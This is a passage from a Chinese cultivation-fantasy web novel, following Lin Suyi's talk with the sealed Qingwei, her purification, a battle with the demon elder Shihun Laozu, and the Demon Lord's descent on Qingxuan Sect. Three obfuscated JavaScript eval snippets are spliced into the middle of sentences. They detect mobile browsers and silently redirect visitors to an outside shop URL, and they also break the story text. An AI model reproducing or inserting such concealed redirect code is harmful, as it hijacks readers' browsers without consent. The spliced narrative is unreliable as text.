莲老沉默片刻:“是。但镇压之地是秘境最深处,连我也无法进入。清微的意识虽然能透出来,但他的本体确实被清虚真人的封印困住了。” 林素衣握紧莲子:“我想见他。” “为什么?他已经堕入魔道,无可救药。” “有些问题,我想当面问他。” 莲老叹了口气:“既然你坚持……那就去吧。但你只有一刻钟时间。一刻钟后,无论结果如何,都必须离开秘境。否则,秘境会永久关闭,你将永远困在这里。” 白莲花瓣合拢,形成一个光门。 林素衣踏入光门。 眼前景象变换,她来到一个纯黑的空间。 空间中央,悬浮着一颗巨大的黑色心脏。心脏每跳动一下,就涌出大量魔气。心脏表面,清微的脸浮现,双眼紧闭,像是沉睡。 “这就是清微的本体。”莲老的声音在耳边响起,“清虚真人将他的肉身炼化成‘魔心’,永世镇压于此。但他的意识……还活着。” 林素衣走近魔心。 似乎是感应到她的到来,魔心上的眼睛缓缓睁开。 “你来了。”清微的声音沙哑,带着疲惫,“拿到莲心了?” “拿到了。” “恭喜。”清微居然笑了,“你比我强。当年我面对三重试炼时,第二问就失败了。” 林素衣直视他的眼睛:“清微,我有一个问题。” “问吧。” “你后悔吗?” 清微沉默了很久。 “后悔?”他苦笑,“如果后悔有用的话,我会后悔一千次、一万次。但后悔改变不了什么。我选择的路,我承担后果。” “那你为什么还要诱惑我?为什么还要作恶?” “因为我不甘心。”清微眼中闪过疯狂,“我本该是净尘宗最伟大的掌门,本该飞升上界,成就仙道!但清虚那个老家伙,他把所有好东西都留给了素心,留给了后人!我算什么?一个失败的实验品?” 他顿了顿:“所以我要证明,我比他强。哪怕与魔为伍,哪怕身败名裂,我也要打开飞升通道,我要让所有人知道,我清微,才是对的!” 林素衣摇头:“你错了。清虚真人没有偏心,他只是看到了你的本性。你内心对力量的渴望太过强烈,迟早会走上歧路。” “本性?”清微嗤笑,“那你呢?你体内也有魔种,也有对力量的渴望。我们本质是一样的,只是你运气好,遇到了好人。” “不,我们不一样。”林素衣坚定道,“我渴望力量,是为了保护我想保护的人,是为了走我自己的路。而你,只是为了证明自己,为了满足私欲。” 她举起莲心:“这枚莲子能净化魔性。清微,如果你现在悔改,我可以求莲老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980541|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你一个机会……” “机会?”清微大笑,“孩子,你太天真了。我已经堕入魔道千年,魔性早已深入灵魂。就算你净化了这颗魔心,我的意识也已经和魔尊绑定。我……回不去了。” 笑声渐歇,他看向林素衣,眼中第一次露出真诚: “但你可以。你比我强,比清虚强,甚至可能比魔尊强。孩子,答应我一件事。” “什么事?” “如果有一天,你遇到魔尊本体……杀了他。”清微一字一句道,“不是为了报仇,不是为了正义,只是……为了证明,我们人族,不比魔族差。” 林素衣怔住。 清微的身体开始消散,魔心跳动得越来越慢。 “时间到了……”莲老催促,“必须离开了!” 林素衣最后看了清微一眼,转身踏入光门。 离开前,她听到清微最后的话语: “告诉素心……对不起……” 光门关闭。 再睁眼时,她回到了净心潭底。 叶清风、萧长风、炎阳真人、花无暇都在,他们看起来有些疲惫,但眼中都闪着兴奋的光。 “你们……”林素衣惊讶。 “我们都通过了试炼。”叶清风笑道,“虽然过程艰难,但收获很大。炎阳前辈突破到了元婴中期,花师姐的百花秘术大成,萧师兄的剑意更上一层楼。我的青莲剑诀……也补全了最后一式。” 林素衣看向炎阳真人,果然气息比之前强了一大截。 “恭喜前辈。” “多亏了秘境试炼。”炎阳真人感慨,“老夫卡在元婴初期三百年,这次终于突破了。” 花无暇看向林素衣:“你呢?拿到莲心了?” 林素衣点头,取出莲子。 莲心晶莹剔透,散发着柔和的光芒。众人光是看着,就感到心境澄澈,魔气尽消。 “快服下吧。”萧长风道,“你体内的魔种不能再拖了。” 林素衣盘坐下来,将莲子送入口中。 莲子入口即化,化作一股暖流,流遍全身。所过之处,魔气如雪遇沸水,迅速消融。那缕盘踞在丹田边缘的黑气,在净化之力的冲击下,发出无声的尖叫,最终彻底消散。 但净化过程比她想象的更痛苦。 魔种已经与她的部分经脉融合,强行剥离如同抽筋拔骨。林素衣咬紧牙关,浑身颤抖,汗如雨下。 “她在承受痛苦。”花无暇皱眉,“但这是必经的过程。我们能做的,只有护法。” 四人分散四方,为林素衣护法。 这一坐,就是三天。 三天后,林素衣睁开眼睛。 她的外表没有太大变化,但眼神更加澄澈,气质更加内敛。最重要的是,她感到体内前所未有的“干净”——不是空无一物,而是如水晶般剔透,每一寸经脉,每一缕灵力,都纯净无瑕。 筑基后期巅峰! 而且随时可能突破金丹! “成功了?”叶清风惊喜道。 “成功了。”林素衣起身,“魔种已除,道基更固。而且……我感应到金丹的壁垒了。” 炎阳真人大笑:“好!净尘宗终于出了一个真正的天才!以你的资质,三十岁前必成金丹!” 但林素衣没有喜悦。 她望向西方,那里是青玄门的方向。 “我们该回去了。”她沉声道,“清微调动魔物围攻青玄门,虽然暂时安全,但时间长了,护山大阵也撑不住。” 众人点头。 五人离开净心潭,返回青莲舟。 但就在他们准备起飞时,异变突生。 整个万魔山突然剧烈震动,山体开裂,无数魔物从地底涌出! 为首的,是一个穿着黑袍的老者。他面容枯槁,眼窝深陷,手中握着一根白骨杖——正是魂殿大长老,骨真人的师父,噬魂老祖! “想走?”噬魂老祖冷笑,“留下净世莲心,饶你们不死!” 他的气息……元婴后期! 而且身后,还有三个元婴初期的魔修,以及数百金丹期魔物! 炎阳真人脸色凝重:“麻烦了。” 萧长风握紧长剑:“战吧。” 花无暇洒出花瓣,布下防御阵法。 叶清风青莲剑出鞘,剑意冲霄。 林素衣深吸一口气,体内净尘灵珠和源海珠同时运转。 她知道,这将是一场恶战。 但这一次,她不再是一个人。 “结阵!”她低喝,“五行诛魔阵!” 五人迅速站定方位,以林素衣为中心,结成一个五色光阵。这是她在秘境试炼中领悟的合击阵法,能将五人的力量叠加,威力倍增。 噬魂老祖见状,眼中闪过惊讶,但随即化为贪婪: “好阵法……正好,一并收了!” 他白骨杖一挥,无数冤魂涌出,化作滔天黑浪,扑向五人。 大战,一触即发。 32. 诛魔之战 黑浪如山,带着刺耳的鬼哭狼嚎扑向五行诛魔阵。噬魂老祖的修为已至元婴后期巅峰,这一击蕴含了他苦修千年的噬魂魔功,足以让同阶修士神魂俱灭。 但五行诛魔阵并非凡阵。 此阵乃清虚真人所创,专克魔道。以五行相生之理,将五人之力融会贯通。林素衣主水,叶清风主木,萧长风主金,炎阳真人主火,花无暇主土。五色光芒流转不息,化作一个巨大的光罩,硬生生挡住了黑浪冲击。 “轰——!” 黑浪与光罩相撞,爆发出惊天动地的巨响。气浪席卷,周围的山石树木瞬间化为齑粉。 噬魂老祖脸色微变:“这阵法……是清虚老儿的五行诛魔阵!你们怎么会?!” 林素衣站在阵眼,双手结印:“噬魂老祖,现在退去,还来得及。” “退?”噬魂老祖狂笑,“小丫头,你以为凭这残阵就能挡住老夫?当年清虚老儿亲自布阵都困不住我,何况你们这些后辈!” 他白骨杖重重顿地,杖顶骷髅头眼眶燃起幽绿火焰:“万魂噬心,起!” 地面裂开无数缝隙,从中爬出成千上万的骷髅兵。这些骷髅身披残破铠甲,眼眶中跳动着魂火,气息虽只有炼气期,但数量实在太多,如潮水般涌来。 更可怕的是,骷髅兵后方,那三个元婴初期的魔修也出手了。 一个手持哭丧棒,敲击间发出摄魂魔音。一个挥舞招魂幡,幡面飞出无数怨魂。最后一个则直接化作一团黑雾,从地下潜行而来。 “我来对付噬魂老祖!”炎阳真人喝道,“你们对付那三个元婴初期!” 他身周火焰暴涨,化作一头火焰巨狮,扑向噬魂老祖。元婴中期对后期,虽有差距,但他刚突破,气势正盛,且火属性功法对噬魂魔功有一定克制。 萧长风剑指那持哭丧棒的魔修:“此人交给我。” 剑阁弟子主修剑道,讲究一剑破万法。萧长风虽只是金丹后期,但剑意精纯,有越阶而战的实力。 花无暇则迎向那招魂幡魔修:“百花谷的‘百花清心曲’,专克怨魂。” 她取出一把玉笛,吹奏起来。笛声清越,如春风拂面,所过之处怨魂纷纷停滞、消散。 叶清风看向那团黑雾:“我去!” 青莲剑诀展开,剑光如莲绽放,将黑雾逼出身形。 剩下那数百金丹期魔物,则全部涌向林素衣——噬魂老祖看出她是阵眼,只要击破她,阵法自溃。 “来得好。”林素衣眼中蓝金双色光芒流转。 她体内,净尘灵珠和源海珠完全融合后的新珠子急速旋转。筑基后期巅峰的修为全面爆发,灵力如江河奔腾。 “净尘九印……第四印,莲花印!” 她双手结印,一朵巨大的金色莲花在她脚下绽放。莲花瓣瓣晶莹,散发出纯净的净化之力。魔物们冲入莲花范围,动作立刻迟缓下来,身上的魔气被迅速净化、消散。 但魔物实在太多,前仆后继。莲花印虽然强大,但消耗也极大。林素衣能感觉到,灵力正在飞速流逝。 不能这样耗下去。 她深吸一口气,改变战术。 “水龙吟,冰封千里!” 双手虚抓,空气中的水汽迅速凝聚,化作无数冰锥,如暴雨般射向魔物。同时,地面结出厚厚的冰层,限制魔物的行动。 冰锥锋利无比,且蕴含净尘灵力,对魔物有额外杀伤力。一时间,魔物成片倒下。 但金丹期魔物终究比炼气期骷髅强太多。有几个魔修顶着冰锥冲到林素衣面前,手中魔器劈下。 “玄水罩!” 手腕上的蓝色手镯亮起,化作一道水幕护住全身。魔器劈在水幕上,只激起圈圈涟漪。 林素衣趁机反击,指尖点出,五道水箭射穿那几名魔修的眉心。 战斗陷入胶着。 炎阳真人和噬魂老祖那边打得最激烈。火焰巨狮与黑气骷髅撕咬在一起,每一次碰撞都引发空间震荡。炎阳真人毕竟修为低一层,渐渐落入下风,但他战斗经验丰富,且悍不畏死,短时间内还能支撑。 萧长风剑法精妙,哭丧棒魔修虽然修为高他一阶,但被他连绵不绝的剑光逼得手忙脚乱。剑阁的“破魔剑诀”专破魔功,正是此魔修的克星。 花无暇的笛声越发急促,招魂幡上的怨魂已经消散大半。那魔修脸色铁青,显然没想到百花谷的音波功如此克制他的法术。 叶清风那边最为凶险。黑雾魔修擅长隐匿偷袭,神出鬼没。但青莲剑诀中有“青莲心眼”,能看破虚妄,正好克制。两人你来我往,短时间内难分胜负。 战局看似平衡,但林素衣知道,他们撑不了多久。 五行诛魔阵需要持续消耗灵力,而魔物源源不断。噬魂老祖还有余力,一旦他突破炎阳真人的阻拦,阵法必破。 必须想办法破局。 她看向噬魂老祖,脑中飞速思索。 噬魂老祖修炼的是魂道魔功,核心是操控魂魄。但他本身的神魂……未必无懈可击。 一个大胆的计划在脑海中成形。 “叶师兄,炎阳前辈,为我争取十息时间!”林素衣传音。 “你要做什么?”炎阳真人急问。 “攻击噬魂老祖的神魂!” “太危险了!元婴后期修士的神魂,岂是你能撼动的?” “试试才知道!” 炎阳真人咬牙:“好!我给你争取!” 他燃烧精血,火焰巨狮体型暴涨三倍,死死缠住噬魂老祖。 萧长风、花无暇、叶清风也拼尽全力,拖住各自的对手。 林素衣盘坐下来,双手在胸前结成一个复杂的手印。 这不是净尘九印中的任何一印,而是她在秘境试炼中,结合净尘真经和《净魔心经》自创的新法术—— “净魔瞳”。 以净尘灵力为基,以魔种残留的一丝魔性为引,将神识凝聚到极致,化作可以直视神魂本质的“瞳术”。 此术极其凶险。若对方神魂强于自己,施术者会遭到反噬,轻则神识受损,重则神魂溃散。 但现在,别无选择。 林素衣闭上眼睛,眉心处浮现一个蓝金色的竖瞳印记。 竖瞳睁开,一道无形的目光射向噬魂老祖。 噬魂老祖正与炎阳真人激战,突然感到一股寒意从灵魂深处升起。他猛地转头,对上林素衣眉心那只诡异的竖瞳。 “这是什么……” 话音未落,他的视线就被拖入一个奇异的空间。 那是一片无边无际的黑暗,黑暗中悬浮着无数光点——每一个光点,都是一个被他吞噬的魂魄。这些魂魄在黑暗中哀嚎、挣扎,散发出浓郁的怨气。 这就是噬魂老祖的“魂海”。 而在魂海中央,盘坐着一个黑色小人,正是噬魂老祖的神魂本体。小人身周缠绕着无数黑色锁链,每一条锁链都连接着一个光点,源源不断抽取着魂魄的力量。 “小丫头,你竟敢闯入老夫的魂海!”黑色小人睁开眼睛,眼中满是惊怒。 林素衣的神识化作人形,出现在魂海中:“噬魂老祖,你吞噬这么多无辜魂魄,就不怕遭天谴吗?” “天谴?”黑色小人狞笑,“老夫就是天!等我突破化神,这些魂魄都会成为我的力量源泉!” “你错了。”林素衣摇头,“这些魂魄的怨念,正在侵蚀你的道心。你以为你在控制它们,其实是它们在潜移默化地影响你。用不了多久,你就会彻底迷失,成为怨念的集合体。” “胡说八道!”黑色小人暴怒,挥手间,无数怨魂扑向林素衣。 但林素衣不闪不避,只是静静看着那些怨魂。 她的眼中,流淌着悲悯。 “尘归尘,土归土……轮回去吧。” 净尘灵力从她身上散发出来,如春风般拂过怨魂。怨魂们眼中的怨毒逐渐消散,面容变得安详,最终化作点点金光,消散在魂海中。 “你……你竟敢净化我的魂力!”黑色小人又惊又怒,那些怨魂是他力量的来源,被净化一个,他的实力就削弱一分。 “我不仅要净化它们。”林素衣步步逼近,“还要净化你。” 她伸出手,指尖凝聚出一朵小小的金色莲花。 莲花虽小,却散发着让黑色小人恐惧的气息——那是净世白莲的净化之力,虽然只有一丝,但足以威胁到他的神魂根本。 “不……你不能……”黑色小人惊恐后退,“我可以给你力量,给你法宝,给你一切……” “我不需要。”林素衣将莲花按在黑色小人胸口。 金光爆闪! 黑色小人发出凄厉的惨叫,身体开始崩解。缠绕在他身上的锁链寸寸断裂,连接的光点纷纷脱离。 魂海剧烈震荡,外界,噬魂老祖的本体也发出惨叫,七窍流血。 “就是现在!”炎阳真人抓住机会,火焰巨狮一口咬住噬魂老祖的脖子。 萧长风、花无暇、叶清风也同时爆发,将各自的对手重创。 战局瞬间逆转! 林素衣的神识回归本体,脸色苍白如纸。净魔瞳消耗太大,她的神识已经枯竭,头痛欲裂。 但噬魂老祖更惨。神魂遭受重创,实力大跌。炎阳真人趁机猛攻,终于将他重创。 “撤……撤!”噬魂老祖嘶吼,化作一道黑烟遁走。 三个元婴初期魔修也各自逃命。 剩下的魔物群龙无首,被五人联手剿灭。 战斗结束。 五人瘫坐在地,都受了不同程度的伤。 炎阳真人伤得最重,胸口一道深可见骨的伤口,魔气侵蚀,需要尽快治疗。萧长风左臂骨折,花无暇神识受损,叶清风浑身是血。 林素衣虽然外表看起来伤得最轻,但神识消耗过度,眼前阵阵发黑。 “我们必须立刻离开。”花无暇强撑着站起来,“魔物溃散,万魔谷肯定会派更多人来。” “青莲舟毁了。”叶清风苦笑。战斗余波将青莲舟震成了碎片。 炎阳真人取出一艘赤红飞舟:“用我的‘炎阳舟’,虽然不如青莲舟隐蔽,但速度更快。” 五人登上飞舟,炎阳真人操控,化作一道火光,向西疾驰。 飞舟上,众人各自疗伤。 林素衣服下几枚恢复神识的丹药,闭目调息。她能感觉到,刚才那一战,虽然凶险,但收获巨大。 筑基后期巅峰的壁垒已经松动,随时可能突破金丹。更重要的是,她对《净魔心经》的理解更深了,自创的净魔瞳虽然凶险,但威力惊人。 三天后,他们飞离东洲地界,进入中州。 炎阳真人的伤势稳定下来,萧长风的断臂也接好了。花无暇的神识恢复了大半,叶清风的皮外伤已经愈合。 林素衣的状态最好。不仅伤势痊愈,修为还隐隐有突破的迹象。 “再有两天,就能到青玄门了。”炎阳真人看着地图,“但青玄门附近,魔气越来越浓。” 林素衣望向西方,眉头紧皱。 她能感觉到,青玄门方向的天地灵气正在剧烈波动,显然有大战发生。而且……似乎不止魔物,还有其他的东西。 一天后,他们遇到了第一波逃难的修士。 那是一群穿着青玄门服饰的弟子,约二十余人,个个带伤,神色惶恐。 “停下!”炎阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980542|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真人拦住他们,“你们是哪一峰的弟子?青玄门情况如何?” 为首的弟子认出炎阳真人,扑通跪地:“炎阳长老!您终于回来了!青玄门……青玄门快撑不住了!” “什么?!”众人色变。 “不只是魔物围攻。”那弟子哭道,“三天前,护山大阵突然出现破绽,大批魔物涌入。同时……同时山门内出现叛徒,里应外合,护山大阵被破坏了三分之一!” 叛徒?林素衣心中一沉:“是谁?” “是……是掌门一脉的几位长老!”弟子咬牙切齿,“他们突然发难,攻击守阵弟子,打开阵法缺口。现在青玄门内乱成一团,正道与魔道混战,死伤惨重……” 天玄真人一脉出现叛徒?这怎么可能? 但林素衣想到清微的话——他当年就在青玄门埋下了棋子。千年过去,这些棋子可能已经身居高位。 “掌门呢?云华长老呢?”她急问。 “掌门被三位叛徒长老围攻,身受重伤,退守主峰。云华长老和素青长老在净尘宗旧址,依靠天池阵法苦苦支撑。但魔物太多,她们也快撑不住了……” 林素衣看向炎阳真人:“前辈,我们必须立刻赶回去!” “但以我们现在的状态……”花无暇担忧道。 “顾不了那么多了。”林素衣决然道,“青玄门若破,整个玄灵界都会陷入魔劫。我们必须去!” 炎阳真人重重点头:“走!” 炎阳舟速度提到极限,化作一道流星,划破长空。 半日后,青玄山脉遥遥在望。 但眼前的景象,让所有人都倒吸一口凉气。 整座青玄山脉,笼罩在一层厚厚的黑云之下。黑云中,无数魔物盘旋飞舞,如蝗虫过境。护山大阵的光芒已经黯淡大半,多处出现缺口,魔物正从缺口涌入。 山门内,火光冲天,喊杀声、惨叫声、爆炸声此起彼伏。 而在青玄门上空,还有更可怕的景象—— 三只巨大的魔眼悬浮在空中,每只魔眼都有百丈大小,瞳孔中燃烧着黑色火焰,正不断向护山大阵喷射魔光。 “那是……魔尊之眼!”炎阳真人声音发颤,“传说魔尊被封印时,将三只眼睛分离出来,作为监视世间的工具。它们怎么会出现在这里?” 林素衣想起清微的话:魔尊虽然被封印,但意识可以透出来,调动部分力量。 这三只魔眼,就是魔尊意识的载体! “它们的目标是净尘宗旧址。”叶清风指向天池方向,“你们看!” 天池上空,一个巨大的蓝色光罩正在苦苦支撑。光罩内,隐约能看到几个人影在施法维持阵法。但光罩表面已经出现裂痕,随时可能破碎。 “云华师叔她们有危险!”林素衣心急如焚,“炎阳前辈,能不能直接飞过去?” “不行,魔眼已经锁定了这片空域,飞过去会成为活靶子。”炎阳真人沉声道,“我们必须从地面潜入。” 他将飞舟降落在山脉边缘的一处密林中。 五人悄悄向天池方向摸去。 越靠近天池,魔物越多。他们不得不小心翼翼,避开一队队巡逻的魔物。 半个时辰后,他们终于来到天池外围。 这里已经被魔物团团围住,里三层外三层,水泄不通。蓝色光罩在魔物的攻击下剧烈晃动,裂痕越来越多。 光罩内,云华、素青、玄诚子、周雨以及三名执法弟子,七人盘坐成阵,全力维持阵法。但她们都已经脸色苍白,嘴角溢血,显然撑不了多久。 “必须冲进去!”林素衣握紧拳头。 但怎么冲?外面至少有上千魔物,其中不乏金丹期。 就在这时,天空中的三只魔眼突然转动,齐齐看向一个方向—— 青玄门主峰! 主峰方向,一道金光冲天而起,冲破黑云,照亮半边天。 金光中,一个苍老但威严的声音响彻天地: “魔尊,你欺人太甚!” 是天玄真人! 他要拼命了! 金光越来越盛,最终化作一柄巨大的金色光剑,斩向三只魔眼! “掌门在燃烧生命本源!”炎阳真人脸色大变,“这一剑之后,他必死无疑!” 金色光剑斩下,一只魔眼躲闪不及,被从中劈开,发出凄厉的惨叫,化作黑气消散。 但另外两只魔眼同时喷射魔光,轰在天玄真人身上。 金光与黑光碰撞,爆发出刺目的光芒。 当光芒散去时,天玄真人的身影从空中坠落。 而剩下的两只魔眼,也黯淡了许多,显然受了重创。 “机会!”炎阳真人大喝,“趁现在,冲!” 五人如离弦之箭,冲向天池。 魔物们被刚才的大战震撼,一时反应不及。等它们回过神时,五人已经冲到光罩前。 “开阵!”林素衣大喊。 光罩内的云华看到他们,又惊又喜,连忙打开一个缺口。 五人冲进光罩,缺口立刻闭合。 “素衣!你们回来了!”云华激动得眼泪都出来了。 但林素衣来不及寒暄,她看向天空。 那两只受伤的魔眼,正缓缓转向天池方向。 瞳孔中,黑色火焰跳动,充满了怨毒和……贪婪。 它们盯上了林素衣。 或者说,盯上了她体内的源海珠。 一个沙哑、冰冷、仿佛来自九幽深渊的声音,同时在所有人脑海中响起: “净尘传人……终于……找到你了……” “把源海珠……给我……” 魔尊的意识,降临了! 33. 魔尊降临 魔尊的声音如九幽寒风,穿透光罩,直抵灵魂深处。 天池边的众人同时感到一阵发自灵魂的颤栗——那是生命层次上的绝对压制。即使只是意识降临,那尊被封印了三千年的上古魔尊,依旧散发着令人绝望的气息。 两只魔眼的瞳孔中,黑色火焰暴涨,在空中交织,凝聚成一个模糊的人形。 那人形高十丈,身着黑色帝袍,头戴冕旒,面容模糊不清,但那双眼睛却清晰无比——左眼燃烧着熊熊黑焰,右眼却是一片纯粹的冰蓝。 “冰火魔尊……”素青声音发颤,“传说中,上古魔尊中的至强者,掌握冰火两系本源,曾以一己之力对抗三位仙帝……” 魔尊人形俯视下方,目光落在林素衣身上:“净尘传人,交出源海珠,饶你不死。” 林素衣强压心中的恐惧,抬头直视魔尊:“源海珠已经与我融为一体,你拿不走。” “是吗?”魔尊轻笑,抬手虚抓。 林素衣感到丹田内的源海珠剧烈震动,竟要脱离她的掌控,破体而出! 她连忙运转《净魔心经》,以净尘灵力牢牢锁住珠子。但魔尊的力量太强了,她感到珠子正一点点被抽离。 “素衣!”云华急道,想帮忙,但被魔尊的威压定在原地,动弹不得。 其他人也是如此。元婴后期的炎阳真人,在这股威压下,连根手指都动不了。 这就是化神期的力量?不,魔尊本体的修为远超化神,即使只是一缕意识降临,也足以碾压在场的所有人。 林素衣咬牙,做了个冒险的决定。 她不再抵抗那股吸力,反而主动催动源海珠,将珠子向体外推送。 “你在做什么?!”素青惊呼。 但下一刻,所有人都明白了。 林素衣不是要交出源海珠,而是要……引爆它! 源海珠是三十六泉眼大阵的核心,蕴含的能量足以炸毁整个青玄山脉。一旦引爆,别说魔尊意识,就连两只魔眼,甚至方圆千里内的所有魔物,都会灰飞烟灭。 代价是……她自己也必死无疑。 “停下!”魔尊声音中第一次出现了波动,“你疯了?源海珠炸了,你也会死!” “那又如何?”林素衣笑了,笑容凄美而决绝,“与其被你夺走珠子,放出你的本体,不如同归于尽。” 她继续催动源海珠。珠子表面开始出现裂痕,蓝金色的光芒从裂缝中溢出,散发出毁灭性的气息。 天池水面沸腾起来,周围的灵气开始紊乱。 魔尊沉默了。 他能感觉到,林素衣是认真的。这个看起来只有七岁的女孩,竟然有如此决绝的意志。 “好。”魔尊缓缓道,“本尊答应你,暂时退去。但记住,源海珠我要定了。三个月后,本尊会亲临此地,届时……你逃不掉。” 他顿了顿:“另外,告诉你一个消息。你们所谓的‘盟友’中,有本尊的人。猜猜是谁?” 说完,魔尊人形化作黑烟消散。两只魔眼也缓缓闭上,沉入黑云中。 围在天池周围的魔物如潮水般退去。 危机暂时解除。 但没人松一口气。 因为源海珠还在继续崩解! 林素衣脸色惨白,她已经无法控制珠子的自毁进程了。刚才为了震慑魔尊,她催动过度,现在珠子像脱缰的野马,疯狂释放能量。 “快想办法!”炎阳真人急道。 素青冲到林素衣身边,双手按在她丹田位置,试图以净尘血脉之力安抚源海珠。但珠子反噬太强,她被震得吐血倒退。 云华、玄诚子、花无暇等人也纷纷出手,却都无法阻止。 源海珠的裂缝越来越大,光芒越来越盛。 眼看就要爆炸—— 一道青光从天而降,笼罩林素衣。 青光中,一个温和的声音响起:“孩子,放松,把珠子交给我。” 林素衣感到一股熟悉的气息——是清虚真人的气息! 她不再抵抗,任由那道青光探入丹田,包裹住源海珠。 奇迹发生了。在青光的安抚下,源海珠停止崩解,裂缝开始愈合,光芒渐渐收敛。 一刻钟后,源海珠恢复如初,重新在丹田内稳定悬浮。 而那道青光,则在完成使命后,化作点点星光,消散在空气中。 林素衣瘫倒在地,浑身被汗水浸透。 “是清虚祖师留下的后手。”素青扶着石壁站起来,“祖师在源海珠中设下了保护禁制,当珠子面临毁灭时,禁制会自动激活。” 众人这才松了口气。 但紧接着,更大的忧虑涌上心头。 魔尊说,三个月后会亲临此地。而且……盟友中有内奸。 “内奸会是谁?”萧长风冷冷扫视在场众人。 炎阳真人苦笑:“别看我,我虽然脾气暴,但不至于勾结魔道。” 花无暇淡淡道:“百花谷与魔道势不两立。” 叶清风急道:“我叶家世代与魔道为敌!” 但怀疑的种子已经种下。 林素衣恢复了些力气,缓缓站起:“现在不是猜疑的时候。魔尊说三个月后亲临,我们只有三个月时间准备。” “怎么准备?”云华苦涩道,“魔尊本体虽然被封印,但他能通过魔眼降临意识,实力至少相当于化神期。我们这里最强的炎阳前辈才元婴中期……” “不,我们有希望。”素青忽然道,“清虚祖师飞升前,在净尘宗留下了一件东西——‘净世剑’。那是祖师的本命法宝,据说有斩杀魔尊的威力。” 净世剑? 林素衣想起清虚真人传承中,确实提到过这件法宝。但那把剑应该在清虚真人飞升时,被他带去了上界才对。 “净世剑没有飞升。”素青解释,“当年祖师飞升时,将剑留在了宗门,封印在‘剑冢’深处。只有真正的净尘宗掌门,才能取出。” 她看向林素衣:“素衣,你现在是净尘宗代宗主,应该能感应到剑冢的位置。” 林素衣闭目感应。源海珠传递来模糊的信息——剑冢在莲花秘境深处。 但莲花秘境刚关闭,再次开启需要一年时间。 “来不及了。”她摇头。 “还有一个办法。”玄诚子忽然道,“掌门……天玄真人在主峰闭关前,曾告诉我一个秘密。他说,如果宗门遭遇灭顶之灾,可以去‘后山禁地’,那里有青玄门开山祖师留下的底牌。” 后山禁地?那是青玄门的绝对禁区,连掌门都不能随意进入。 “但现在掌门重伤昏迷,主峰又被魔物占据,怎么去?”云华问。 “我知道一条密道。”玄诚子道,“当年清微……当年我师父告诉我的,从净尘宗旧址可以直接通往后山禁地。” 林素衣精神一振:“带我去。” “但那里很危险。”玄诚子担忧道,“据说禁地里镇压着青玄门历代走火入魔的先辈,还有一些……不可名状的东西。” “再危险也要去。”林素衣坚定道,“这是唯一的希望。” 众人商议后决定,林素衣、玄诚子、叶清风三人去禁地。其他人留守天池,加固阵法,防备魔物卷土重来。 临行前,林素衣将净世莲心剩余的力量分出一半,注入天池阵法。莲心的净化之力能让阵法对魔气的抵抗力大幅提升,至少能撑一个月。 然后,三人跟随玄诚子,进入净尘宗旧址的地下密道。 密道幽深曲折,石壁上刻着古老的符文,散发出淡淡的青光。玄诚子说,这是清微真人当年暗中修建的,为了在必要时能快速往返两宗。 走了约一个时辰,前方出现一道石门。 石门上刻着青玄门的云纹标志,但纹路已经黯淡,显然很久没人来过了。 “就是这里。”玄诚子道,“石门后就是后山禁地。但我提醒你们,一旦进去,生死难料。现在回头还来得及。” 林素衣和叶清风对视一眼,同时摇头。 “开吧。” 玄诚子深吸一口气,将手按在石门上,注入灵力。 石门缓缓滑开。 门后,是一片漆黑。 不是普通的黑暗,而是那种仿佛能吸收一切光线的、纯粹的黑暗。 三人点燃荧光石,但光芒只能照亮三尺范围。更远的地方,依旧一片漆黑。 “小心,跟紧我。”玄诚子低声道。 他们踏入黑暗。 脚下是松软的泥土,空气中弥漫着腐朽的气息。周围寂静得可怕,连自己的心跳声都清晰可闻。 走了约百步,前方出现点点绿光。 那是磷火,漂浮在空中,忽明忽灭。磷火映照下,能看到地面上散落着许多白骨,有人形的,也有妖兽的。 “这些都是擅闯禁地的人。”玄诚子声音发紧,“被禁地的守护者杀死的。” “守护者是什么?”叶清风问。 “不知道。历代掌门口口相传,只说‘不可直视,不可听闻,不可触碰’。” 正说着,前方黑暗中,突然传来“沙沙”的声响。 像是无数虫子在爬行。 三人立刻警惕,背靠背站定。 黑暗中,两点红光亮起,然后是四点、八点……成百上千的红光,如星辰般在黑暗中浮现。 那是眼睛! 密密麻麻的眼睛,死死盯着他们。 “退后!”玄诚子急喝。 但已经晚了。 那些眼睛的主人从黑暗中涌出——是无数只黑色的虫子,每只都有拳头大小,甲壳坚硬,口器锋利,眼中燃烧着红色火焰。 “噬魂虫!”玄诚子脸色惨白,“专门吞噬修士魂魄的魔虫!怎么会在这里?” 噬魂虫如潮水般涌来。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980543|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素衣立刻结印:“清水印!” 水幕护住三人。但噬魂虫疯狂冲击,水幕剧烈晃动。 